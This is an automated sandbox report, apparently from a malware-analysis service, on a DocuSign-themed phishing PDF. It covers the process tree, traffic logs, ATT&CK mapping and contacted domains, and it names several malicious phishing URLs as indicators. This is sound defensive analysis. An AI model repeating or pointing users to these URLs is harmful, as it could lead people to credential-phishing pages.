Edit tour

Windows Analysis Report
Finish_Agreement_DocuSign.pdf

Overview

General Information

Sample name:	Finish_Agreement_DocuSign.pdf
Analysis ID:	1562845
MD5:	774cf05131b45b57beceac59be58cc6d
SHA1:	7f707c374248d15044f46a631d37d32b80a6389b
SHA256:	c1411f80bbd4af17309dedf8601768bb5fb7c9ef25d4992835058b688c014462
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected landing page (webpage, office document or email)

AI detected suspicious URL

HTML page contains hidden javascript code

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 1696 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Finish_Agreement_DocuSign.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6816 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3544 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1560,i,2596497607149263573,6260149099087267134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://uotdoc.bestdealspk.com/ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2024,i,3426599930490132392,5312236439182005026,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3050sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JDsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 26 Nov 2024 05:39:47 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Nov 2024 05:40:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: GNIl+0m/44SYqnQvGaW275aQMdr8ee7zIDA=$WsPipzgrSk8WE0w+cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8e878b67ee947d05-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Nov 2024 05:40:41 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: I6XHMcLx2M2CC9qutWObv2d93wwlPoa9H8k=$PVzYdi80os80C4awServer: cloudflareCF-RAY: 8e878b914871727a-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Nov 2024 05:40:46 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: ZRVari/+9/DaXtL6YArvRJOUrSY6wRrVnm8=$PPlcDV7Vithv0RYGServer: cloudflareCF-RAY: 8e878bb0dc4e0f75-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 26 Nov 2024 05:40:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5h5URoXF%2FQpVhGOD9s4ACWXT05nmHVyKfcmFuN64JLGmfbWVzKZJnw8YEt4D79Okk4o6xaxfv1Blul0eh1xwes%2Bcyrt5u1Rydyl%2Bp7RSxbtOSXGwjgB3Vses%2BluMVw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=21435&sent=140&recv=92&lost=0&retrans=0&sent_bytes=147901&recv_bytes=16076&delivery_rate=1765046&cwnd=227&unsent_bytes=0&cid=d83fd9bd14e0b27a&ts=158357&x=0"CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 8e878be87b33427f-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1742&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1896&delivery_rate=1649717&cwnd=237&unsent_bytes=0&cid=c73ddaa162a1ec48&ts=8178&x=0"

Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 2D85F72862B55C4EADD9E66E06947F3D0.2.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_173.14.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: ea0667a6-b691-4295-8613-cc808542a53e.tmp.4.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: chromecache_174.14.dr, chromecache_182.14.dr	String found in binary or memory: https://rwcq.qonimex.ru/Q7boMM5R/
Source: Finish_Agreement_DocuSign.pdf	String found in binary or memory: https://uotdoc.bestdealspk.com/)

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49736 version: TLS 1.2

Source: classification engine

Classification label: mal56.winPDF@32/75@25/12

Source: Finish_Agreement_DocuSign.pdf

Initial sample: https://uotdoc.bestdealspk.com/

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-26 00-39-14-258.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Finish_Agreement_DocuSign.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1560,i,2596497607149263573,6260149099087267134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://uotdoc.bestdealspk.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2024,i,3426599930490132392,5312236439182005026,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://uotdoc.bestdealspk.com/	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1560,i,2596497607149263573,6260149099087267134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2024,i,3426599930490132392,5312236439182005026,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.13.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Finish_Agreement_DocuSign.pdf	Initial sample: PDF keyword /JS count = 0
Source: Finish_Agreement_DocuSign.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Finish_Agreement_DocuSign.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://uotdoc.bestdealspk.com/favicon.ico	100%	Avira URL Cloud	malware
https://uotdoc.bestdealspk.com/)	100%	Avira URL Cloud	malware
https://rwcq.qonimex.ru/favicon.ico	0%	Avira URL Cloud	safe
https://uotdoc.bestdealspk.com/main.js	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.2.137	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.250.181.100	true	false	high
rwcq.qonimex.ru	104.21.72.174	true	false	unknown
googlehosted.l.googleusercontent.com	142.250.181.97	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
blogger.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rwcq.qonimex.ru/Q7boMM5R/	false		unknown
https://uotdoc.bestdealspk.com/favicon.ico	false	Avira URL Cloud: malware	unknown
https://a.nel.cloudflare.com/report/v4?s=5h5URoXF%2FQpVhGOD9s4ACWXT05nmHVyKfcmFuN64JLGmfbWVzKZJnw8YEt4D79Okk4o6xaxfv1Blul0eh1xwes%2Bcyrt5u1Rydyl%2Bp7RSxbtOSXGwjgB3Vses%2BluMVw%3D%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e878b3d8eb043b2&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8e878b3d8eb043b2/1732599632814/c398450831134e10a8935027b58a951c4b17739b90bb1bc8cc9150b849cae471/lkbPnOARd4QdNnO	false		high
https://uotdoc.bestdealspk.com/main.js	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8e878b3d8eb043b2/1732599632815/Qf4EdubE2fHxWlJ	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
